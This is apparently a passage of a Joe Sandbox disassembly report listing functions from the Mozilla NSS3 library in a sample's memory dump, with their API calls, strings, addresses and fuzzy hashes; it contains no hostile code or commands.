Opcode Fuzzy Hash: 8c1853de93ec934fc58ae00aded732baa9ef6950fe6738fb38800926320ad440
Instruction Fuzzy Hash: F451B675A02114ABDB00CF149E8DEAA7B75AB4334DFA54074F90867B02DB609D38C7AE

Function 6C666910 Relevance: 38.6, APIs: 15, Strings: 7, Instructions: 131COMMON

Download Yara Rule

APIs

NSSUTIL_ArgHasFlag.NSS3(flags,readOnly,00000000), ref: 6C666943

Part of subcall function 6C684210: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,2047C135,flags,?,00000000,?,6C665947,flags,printPolicyFeedback,?,?,?,?,?,?,00000000), ref: 6C684220
Part of subcall function 6C684210: NSSUTIL_ArgGetParamValue.NSS3(?,GYfl,?,?,?,?,?,?,00000000,?,00000000,?,6C667703,?,00000000,00000000), ref: 6C68422D
Part of subcall function 6C684210: PL_strncasecmp.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6C667703), ref: 6C68424B
Part of subcall function 6C684210: free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6C667703,?,00000000), ref: 6C684272

NSSUTIL_ArgHasFlag.NSS3(flags,nocertdb,00000000), ref: 6C666957
NSSUTIL_ArgHasFlag.NSS3(flags,nokeydb,00000000), ref: 6C666972
NSSUTIL_ArgStrip.NSS3(00000000), ref: 6C666983

Part of subcall function 6C683EA0: isspace.API-MS-WIN-CRT-STRING-L1-1-0(8914C483,70E85609,6C65C79F,?,6C666247,70E85609,?,?,6C65C79F,6C66781D,?,6C65BD52,00000001,70E85609,D85D8B04,?), ref: 6C683EB8

PL_strncasecmp.NSS3(00000000,configdir=,0000000A), ref: 6C6669AA
PL_strncasecmp.NSS3(00000000,certPrefix=,0000000B), ref: 6C6669BE
PL_strncasecmp.NSS3(00000000,keyPrefix=,0000000A), ref: 6C6669D2
NSSUTIL_ArgSkipParameter.NSS3(00000000), ref: 6C6669DF

Part of subcall function 6C684020: isspace.API-MS-WIN-CRT-STRING-L1-1-0(FFFFEF69,00000000,?,?,74F84C80,?,6C6850B7,?), ref: 6C684041

free.MOZGLUE(00000000), ref: 6C6669F6
NSSUTIL_ArgFetchValue.NSS3(-0000000A,?), ref: 6C666A04
free.MOZGLUE(00000000), ref: 6C666A1B
NSSUTIL_ArgFetchValue.NSS3(-0000000B,?), ref: 6C666A29
free.MOZGLUE(00000000), ref: 6C666A3F
NSSUTIL_ArgFetchValue.NSS3(-0000000A,?), ref: 6C666A4D
NSSUTIL_ArgStrip.NSS3(?), ref: 6C666A5B

Strings

certPrefix=, xrefs: 6C6669B8
configdir=, xrefs: 6C6669A4
readOnly, xrefs: 6C66693D
flags, xrefs: 6C666937, 6C666942, 6C666956, 6C66696D
nokeydb, xrefs: 6C666968
keyPrefix=, xrefs: 6C6669CC
nocertdb, xrefs: 6C666951

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: L_strncasecmpValuefree$FetchFlag$Stripisspace$ParamParameterSkipstrlen
String ID: certPrefix=$configdir=$flags$keyPrefix=$nocertdb$nokeydb$readOnly
API String ID: 2065226673-2785624044
Opcode ID: 2b5332bc68709fc537288084a484a8926d2942eef49d1e62795e584f8be9b4fd
Instruction ID: 4be193c02d119b3de9124a3a43bde1876778b5470cff2653e669e4d43aac2741
Opcode Fuzzy Hash: 2b5332bc68709fc537288084a484a8926d2942eef49d1e62795e584f8be9b4fd
Instruction Fuzzy Hash: B741A1F1E402056BE700DB76AC81BAB37ACAF5534CF140431E905E6B01F731DA1886BA

Function 6C666CD0 Relevance: 37.0, APIs: 20, Strings: 1, Instructions: 298stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C666910: NSSUTIL_ArgHasFlag.NSS3(flags,readOnly,00000000), ref: 6C666943
Part of subcall function 6C666910: NSSUTIL_ArgHasFlag.NSS3(flags,nocertdb,00000000), ref: 6C666957
Part of subcall function 6C666910: NSSUTIL_ArgHasFlag.NSS3(flags,nokeydb,00000000), ref: 6C666972
Part of subcall function 6C666910: NSSUTIL_ArgStrip.NSS3(00000000), ref: 6C666983
Part of subcall function 6C666910: PL_strncasecmp.NSS3(00000000,configdir=,0000000A), ref: 6C6669AA
Part of subcall function 6C666910: PL_strncasecmp.NSS3(00000000,certPrefix=,0000000B), ref: 6C6669BE
Part of subcall function 6C666910: PL_strncasecmp.NSS3(00000000,keyPrefix=,0000000A), ref: 6C6669D2
Part of subcall function 6C666910: NSSUTIL_ArgSkipParameter.NSS3(00000000), ref: 6C6669DF
Part of subcall function 6C666910: NSSUTIL_ArgStrip.NSS3(?), ref: 6C666A5B

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6C666D8C
free.MOZGLUE(00000000), ref: 6C666DC5
free.MOZGLUE(?), ref: 6C666DD6
free.MOZGLUE(?), ref: 6C666DE7
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6C666E1F
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C666E4B
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C666E72
free.MOZGLUE(?), ref: 6C666EA7
free.MOZGLUE(?), ref: 6C666EC4
free.MOZGLUE(?), ref: 6C666ED5
free.MOZGLUE(00000000), ref: 6C666EE3
free.MOZGLUE(?), ref: 6C666EF4
free.MOZGLUE(?), ref: 6C666F08
free.MOZGLUE(00000000), ref: 6C666F35
free.MOZGLUE(?), ref: 6C666F44
free.MOZGLUE(?), ref: 6C666F5B
free.MOZGLUE(00000000), ref: 6C666F65

Part of subcall function 6C666C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000004,6C66781D,00000000,6C65BE2C,?,6C666B1D,?,?,?,?,00000000,00000000,6C66781D), ref: 6C666C40
Part of subcall function 6C666C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000004,?,?,?,?,?,?,?,00000000,00000000,6C66781D,?,6C65BE2C,?), ref: 6C666C58
Part of subcall function 6C666C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,rdb:,00000004,?,?,?,?,?,?,?,?,?,?,00000000,00000000,6C66781D), ref: 6C666C6F
Part of subcall function 6C666C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000007), ref: 6C666C84
Part of subcall function 6C666C30: PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE), ref: 6C666C96
Part of subcall function 6C666C30: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm), ref: 6C666CAA

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C666F90
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C666FC5
PK11_GetInternalKeySlot.NSS3 ref: 6C666FF4

Strings

+`gl, xrefs: 6C666D0D

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: free$strcmp$strncmp$FlagL_strncasecmp$Strip$InternalK11_ParameterSecureSkipSlot
String ID: +`gl
API String ID: 1304971872-1880681488
Opcode ID: e474a0831e6048a55a8a40e6f22883875dc1b2e7bd41475ce36a3808d2e445c6
Instruction ID: e5d1951c6e47db65dcc4b1229d360defcd6732c154de58ef4e611bbf5bc7f19c
Opcode Fuzzy Hash: e474a0831e6048a55a8a40e6f22883875dc1b2e7bd41475ce36a3808d2e445c6
Instruction Fuzzy Hash: 20B170B0E052199FDF01CBA6EC44B9EBBB9BF09349F140125E815E7E01E731E915CBA6

Function 6C6589B0 Relevance: 35.1, APIs: 11, Strings: 9, Instructions: 149COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_GenerateKey), ref: 6C6589D6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C658A04
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C658A13

Part of subcall function 6C73D930: PL_strncpyz.NSS3(?,?,?), ref: 6C73D963

PR_LogPrint.NSS3(?,00000000), ref: 6C658A29
PR_LogPrint.NSS3( pMechanism = 0x%p,?), ref: 6C658A4B
PR_LogPrint.NSS3( pTemplate = 0x%p,?), ref: 6C658A67
PR_LogPrint.NSS3( ulCount = %d,?), ref: 6C658A83
PR_LogPrint.NSS3( phKey = 0x%p,?), ref: 6C658AA1
PL_strncpyz.NSS3(?, *phKey = 0x%x,00000050), ref: 6C658B43
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C658B52
PR_LogPrint.NSS3(?,00000000), ref: 6C658B68

Strings

pMechanism = 0x%p, xrefs: 6C658A46
phKey = 0x%p, xrefs: 6C658A9C
(CK_INVALID_HANDLE), xrefs: 6C658A0C, 6C658B4B
nsl, xrefs: 6C658AD0, 6C658B0B
pTemplate = 0x%p, xrefs: 6C658A62
*phKey = 0x%x, xrefs: 6C658B2D, 6C658B3D
ulCount = %d, xrefs: 6C658A7E
hSession = 0x%x, xrefs: 6C6589EE, 6C6589FE
C_GenerateKey, xrefs: 6C6589D1

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *phKey = 0x%x$ hSession = 0x%x$ pMechanism = 0x%p$ pTemplate = 0x%p$ phKey = 0x%p$ ulCount = %d$ (CK_INVALID_HANDLE)$C_GenerateKey$nsl
API String ID: 1003633598-2351134875
Opcode ID: f11a8a6531b94ecde49700fd402a1316f645984141202f8db80e6287db636792
Instruction ID: 1914e2ec1b2a3f49f8b28b20b2ec0e12ec82485d7d6e4a5ecf228faa54d7dcb1
Opcode Fuzzy Hash: f11a8a6531b94ecde49700fd402a1316f645984141202f8db80e6287db636792
Instruction Fuzzy Hash: CD51C835A52114AFDB00DF14DE8CE9F3B75AB47309F658035E90867B12DB30AD29CB9A

Function 6C65AF20 Relevance: 35.1, APIs: 10, Strings: 10, Instructions: 126COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_SignMessage), ref: 6C65AF46
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C65AF74
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C65AF83

Part of subcall function 6C73D930: PL_strncpyz.NSS3(?,?,?), ref: 6C73D963

PR_LogPrint.NSS3(?,00000000), ref: 6C65AF99
PR_LogPrint.NSS3( pParameter = 0x%p,?), ref: 6C65AFBE
PR_LogPrint.NSS3( ulParameterLen = 0x%p,?), ref: 6C65AFD9
PR_LogPrint.NSS3( pData = 0x%p,?), ref: 6C65AFF4
PR_LogPrint.NSS3( ulDataLen = %d,?), ref: 6C65B00F
PR_LogPrint.NSS3( pSignature = 0x%p,?), ref: 6C65B028
PR_LogPrint.NSS3( pulSignatureLen = 0x%p,?), ref: 6C65B041

Strings

pulSignatureLen = 0x%p, xrefs: 6C65B03C
ulDataLen = %d, xrefs: 6C65B00A
pData = 0x%p, xrefs: 6C65AFEF
(CK_INVALID_HANDLE), xrefs: 6C65AF7C
pSignature = 0x%p, xrefs: 6C65B023
nsl, xrefs: 6C65B059, 6C65B093
hSession = 0x%x, xrefs: 6C65AF5E, 6C65AF6E
ulParameterLen = 0x%p, xrefs: 6C65AFD4
C_SignMessage, xrefs: 6C65AF41
pParameter = 0x%p, xrefs: 6C65AFB9

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pData = 0x%p$ pParameter = 0x%p$ pSignature = 0x%p$ pulSignatureLen = 0x%p$ ulDataLen = %d$ ulParameterLen = 0x%p$ (CK_INVALID_HANDLE)$C_SignMessage$nsl
API String ID: 1003633598-791157601
Opcode ID: b505068026958738d75d83c66754837f640baea02a69204196c1e95ca01c2daf
Instruction ID: ffdbec998786e51dc7b02b7e34f5eb39b3f51879c326573235b40fd3292e1486
Opcode Fuzzy Hash: b505068026958738d75d83c66754837f640baea02a69204196c1e95ca01c2daf
Instruction Fuzzy Hash: 8241C935602154AFDF008F54DE8CE9D7BB1AB4730DF658034F50857B12DB359968CBAA

Function 6C6508F0 Relevance: 33.5, APIs: 13, Strings: 6, Instructions: 230COMMON

Download Yara Rule

APIs

htonl.WSOCK32(-00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000001), ref: 6C65094D
htonl.WSOCK32(-00000001,-00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C650953
htonl.WSOCK32(-00000001,-00000001,-00000001), ref: 6C65096E
htonl.WSOCK32(-00000001,-00000001,-00000001,-00000001), ref: 6C650974
htonl.WSOCK32(-00000001,-00000001,-00000001,-00000001,-00000001), ref: 6C65098F
htonl.WSOCK32(-00000001,-00000001,-00000001,-00000001,-00000001,-00000001), ref: 6C650995

Part of subcall function 6C651800: SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6C651860
Part of subcall function 6C651800: memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,00000000,?,-00000001,?,6C6509BF), ref: 6C651897
Part of subcall function 6C651800: memcpy.VCRUNTIME140(?,-00000001,-00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C6518AA
Part of subcall function 6C651800: memcpy.VCRUNTIME140(?,?,?), ref: 6C6518C4

PK11_FreeSymKey.NSS3(00000000,?,?,?,?,?,?,?,-00000001,-00000001,-00000001,-00000001), ref: 6C650B4F
SECITEM_ZfreeItem_Util.NSS3(?,00000000,?,?,?,?,?,?,?,?,-00000001,-00000001,-00000001,-00000001), ref: 6C650B5E
SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,-00000001,-00000001,-00000001,-00000001), ref: 6C650B6B
SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,?,?,-00000001,-00000001), ref: 6C650B78

Strings

psk_id_hash, xrefs: 6C6509B5
key, xrefs: 6C650ACB
base_nonce, xrefs: 6C650B06
secret, xrefs: 6C650A88
info_hash, xrefs: 6C6509E0
exp, xrefs: 6C650B36

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: htonl$Item_Util$Zfreememcpy$AllocFreeK11_
String ID: base_nonce$exp$info_hash$key$psk_id_hash$secret
API String ID: 1637529542-763765719
Opcode ID: 4801b984187df9de8c089e9d958bf83bf961db65cd5595a76ce29a1fb3e451b1
Instruction ID: 1c8f71b6fd993227e80acb9adea21353d5deddca2127b944167a425d4a6a9a06
Opcode Fuzzy Hash: 4801b984187df9de8c089e9d958bf83bf961db65cd5595a76ce29a1fb3e451b1
Instruction Fuzzy Hash: BF818B75A04305AFC700CF54C980D9AF7E9EF8C308F448919F99887752E731EA19CB96

Function 6C662D80 Relevance: 33.4, APIs: 22, Instructions: 381COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,?,?,00000000,?), ref: 6C662DEC
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,00000000,?), ref: 6C662E00
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C662E2B
PR_SetError.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C662E43
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,00000000,?,?,?,6C634F1C,?,-00000001,00000000,?), ref: 6C662E74
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,00000000,?,?,?,6C634F1C,?,-00000001,00000000), ref: 6C662E88
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6C662EC6
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6C662EE4
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6C662EF8
PR_Unlock.NSS3(?), ref: 6C662F62
TlsGetValue.KERNEL32 ref: 6C662F86
EnterCriticalSection.KERNEL32(0000001C), ref: 6C662F9E
PR_Unlock.NSS3(?), ref: 6C662FCA
TlsGetValue.KERNEL32 ref: 6C66301A
EnterCriticalSection.KERNEL32(?), ref: 6C66302E
PR_Unlock.NSS3(?), ref: 6C663066
PR_SetError.NSS3(00000000,00000000), ref: 6C663085
PR_Unlock.NSS3(?), ref: 6C6630EC
TlsGetValue.KERNEL32 ref: 6C66310C
EnterCriticalSection.KERNEL32(0000001C), ref: 6C663124
PR_Unlock.NSS3(?), ref: 6C66314C

Part of subcall function 6C649180: PK11_NeedUserInit.NSS3(?,?,?,00000000,00000001,6C67379E,?,6C649568,00000000,?,6C67379E,?,00000001,?), ref: 6C64918D
Part of subcall function 6C649180: PR_SetError.NSS3(FFFFE000,00000000,?,?,?,00000000,00000001,6C67379E,?,6C649568,00000000,?,6C67379E,?,00000001,?), ref: 6C6491A0

Part of subcall function 6C6107A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C5A204A), ref: 6C6107AD
Part of subcall function 6C6107A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C5A204A), ref: 6C6107CD
Part of subcall function 6C6107A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C5A204A), ref: 6C6107D6
Part of subcall function 6C6107A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C5A204A), ref: 6C6107E4
Part of subcall function 6C6107A0: TlsSetValue.KERNEL32(00000000,?,6C5A204A), ref: 6C610864
Part of subcall function 6C6107A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C610880
Part of subcall function 6C6107A0: TlsSetValue.KERNEL32(00000000,?,?,6C5A204A), ref: 6C6108CB
Part of subcall function 6C6107A0: TlsGetValue.KERNEL32(?,?,6C5A204A), ref: 6C6108D7
Part of subcall function 6C6107A0: TlsGetValue.KERNEL32(?,?,6C5A204A), ref: 6C6108FB

PR_SetError.NSS3(00000000,00000000), ref: 6C66316D

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Value$Unlock$CriticalEnterSection$Error$calloc$InitK11_NeedUser
String ID:
API String ID: 3383223490-0
Opcode ID: c1cf36b6e96593276d7f80aeaf24da7e3e64bc378e1ac911ab6b055afafd4fed
Instruction ID: 25cdb527e2f1bc24d5ffbef581f389198904ad4a529885b49fd09665e92161a5
Opcode Fuzzy Hash: c1cf36b6e96593276d7f80aeaf24da7e3e64bc378e1ac911ab6b055afafd4fed
Instruction Fuzzy Hash: A4F18DB1D00209AFDF01DF65D884B9ABBB4FF0A318F144179EC05A7B11E731A995CB96

Function 6C68C980 Relevance: 33.3, APIs: 22, Instructions: 298memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000400,6C68AEB0,?,00000004,00000001,?,00000000,?,?), ref: 6C68C98E

Part of subcall function 6C680FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C6287ED,00000800,6C61EF74,00000000), ref: 6C681000
Part of subcall function 6C680FF0: PR_NewLock.NSS3(?,00000800,6C61EF74,00000000), ref: 6C681016
Part of subcall function 6C680FF0: PL_InitArenaPool.NSS3(00000000,security,6C6287ED,00000008,?,00000800,6C61EF74,00000000), ref: 6C68102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000028,?,6C68AEB0,?,00000004,00000001,?,00000000,?,?), ref: 6C68C9A1

Part of subcall function 6C6810C0: TlsGetValue.KERNEL32(?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C6810F3
Part of subcall function 6C6810C0: EnterCriticalSection.KERNEL32(?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C68110C
Part of subcall function 6C6810C0: PL_ArenaAllocate.NSS3(?,?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C681141
Part of subcall function 6C6810C0: PR_Unlock.NSS3(?,?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C681182
Part of subcall function 6C6810C0: TlsGetValue.KERNEL32(?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C68119C

SECOID_FindOIDByTag_Util.NSS3(0000001A,?,?,?,6C68AEB0,?,00000004,00000001,?,00000000,?,?), ref: 6C68C9D3

Part of subcall function 6C680840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C6808B4

SECITEM_CopyItem_Util.NSS3(00000000,-00000018,00000000,?,?,?,?,6C68AEB0,?,00000004,00000001,?,00000000,?,?), ref: 6C68C9E6

Part of subcall function 6C67FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C678D2D,?,00000000,?), ref: 6C67FB85
Part of subcall function 6C67FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C67FBB1

PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,6C68AEB0,?,00000004,00000001,?,00000000,?,?), ref: 6C68C9F5
PORT_ArenaAlloc_Util.NSS3(00000000,00000050,?,?,?,?,?,?,?,6C68AEB0,?,00000004,00000001,?,00000000,?), ref: 6C68CA0A
SEC_ASN1EncodeInteger_Util.NSS3(00000000,00000000,00000001,?,?,?,?,?,?,?,?,?,6C68AEB0,?,00000004,00000001), ref: 6C68CA33
SECOID_FindOIDByTag_Util.NSS3(00000019,?,?,?,?,?,?,?,?,?,?,?,?,6C68AEB0,?,00000004), ref: 6C68CA4D
SECITEM_CopyItem_Util.NSS3(00000001,?,00000000), ref: 6C68CA60
SEC_PKCS7DestroyContentInfo.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6C68AEB0,?,00000004), ref: 6C68CA6D
PR_Now.NSS3 ref: 6C68CAD6
PORT_ArenaMark_Util.NSS3(00000000), ref: 6C68CB23
PORT_ArenaAlloc_Util.NSS3(00000000,0000005C), ref: 6C68CB32
SEC_ASN1EncodeInteger_Util.NSS3(00000000,00000000,00000001), ref: 6C68CB64
SECOID_SetAlgorithmID_Util.NSS3(00000000,?,00000001,00000000), ref: 6C68CBBB
PORT_ArenaAlloc_Util.NSS3(?,00000008), ref: 6C68CBD0
PORT_ArenaAlloc_Util.NSS3(00000000,00000018), ref: 6C68CBF6
PORT_ArenaAlloc_Util.NSS3(00000000,00000008), ref: 6C68CC18
SECOID_SetAlgorithmID_Util.NSS3(00000000,00000000,00000001,00000000), ref: 6C68CC39
PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6C68CC5B

Part of subcall function 6C6810C0: PL_ArenaAllocate.NSS3(?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C68116E

PORT_ArenaAlloc_Util.NSS3(00000000,00000008), ref: 6C68CC69
SECITEM_CopyItem_Util.NSS3(00000000,?,00000000), ref: 6C68CC89

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_$CopyItem_$AlgorithmAllocateArena_EncodeFindInteger_Tag_Value$ContentCriticalDestroyEnterErrorFreeInfoInitLockMark_PoolSectionUnlockcallocmemcpy
String ID:
API String ID: 1766420342-0
Opcode ID: bd9cbe6027760af1cc6cfebf3ac59ce04a1b40ce8663f9e4bf11e15570d40e56
Instruction ID: d5386ea9cf1a57b8ebda4f8f93ada75c301a27295a529f0d804271184422245c
Opcode Fuzzy Hash: bd9cbe6027760af1cc6cfebf3ac59ce04a1b40ce8663f9e4bf11e15570d40e56
Instruction Fuzzy Hash: DEB1D2B5D02306AFEB00DF64DC40BAA77B4BF19308F104225E915A7751EB71D994CBB9

Function 6C6629A0 Relevance: 31.8, APIs: 15, Strings: 3, Instructions: 292COMMON

Download Yara Rule

APIs

PK11_ImportPublicKey.NSS3(00000000,?,00000000,?,?,?,?,?,^jcl,00000001,00000000,?,6C636540,?,0000000D,00000000), ref: 6C662A39
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,^jcl,00000001,00000000,?,6C636540,?,0000000D,00000000), ref: 6C662A5B
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,^jcl,00000001,00000000,?,6C636540,?,0000000D), ref: 6C662A6F
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,^jcl,00000001), ref: 6C662AAD
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,^jcl,00000001,00000000), ref: 6C662ACB
